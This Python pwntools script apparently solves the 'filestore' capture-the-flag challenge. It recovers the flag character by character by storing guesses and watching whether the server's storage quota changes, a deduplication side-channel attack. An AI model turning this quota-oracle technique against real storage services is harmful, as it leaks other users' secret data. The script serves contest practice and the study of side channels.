#!/usr/bin/env python3
import re
import string

from pwn import *

_FLAG_CHARSET: str = string.ascii_letters + string.digits + string.punctuation
_BLOCK_SIZE: int = 16
_QUOTA_PATTERN: str = r"Quota: (.+?)kB/64\.000kB"


def _recv_menu(r) -> str:
    return r.recvuntil(b"exit\n").decode("ascii")


def _parse_quota(quota_response: str) -> float:
    m = re.search(_QUOTA_PATTERN, quota_response, re.MULTILINE)
    return float(m.group(1))


def _get_quota(r) -> float:
    r.sendline(b"status")
    response = _recv_menu(r)
    return _parse_quota(response)


def _send_guess(r, guess: str):
    r.sendline(b"store")
    r.sendline(bytes(guess, encoding="ascii"))
    _recv_menu(r)


def main():
    with remote("filestore.2021.ctfcompetition.com", 1337) as r:
        _recv_menu(r)

        quota = _get_quota(r)
        flag_length = int(quota * 1000)

        # Guess forward
        flag_start = "CTF{"
        while len(flag_start) < _BLOCK_SIZE:
            for guessed_character in _FLAG_CHARSET:
                # Guess character and append it to the known flag
                _send_guess(r, flag_start + guessed_character)

                # Check quota change
                new_quota = _get_quota(r)
                if quota == new_quota:
                    # Fully compressed, therefore a valid guess
                    flag_start = flag_start + guessed_character
                    print(flag_start)
                    break
                quota = new_quota

        # Guess backwards
        quota = _get_quota(r)
        flag_end = "}"
        while len(flag_start + flag_end) <= flag_length:
            for guessed_character in _FLAG_CHARSET:
                # Guess character and prepend it to the known flag
                _send_guess(r, guessed_character + flag_end)

                # Check quota change
                new_quota = _get_quota(r)
                if quota == new_quota:
                    # Fully compressed, therefore a valid guess
                    flag_end = guessed_character + flag_end
                    print(flag_end)
                    break
                quota = new_quota

        print(f"flag: {flag_start + flag_end}")
        print(f"quota: {quota}")


if __name__ == "__main__":
    main()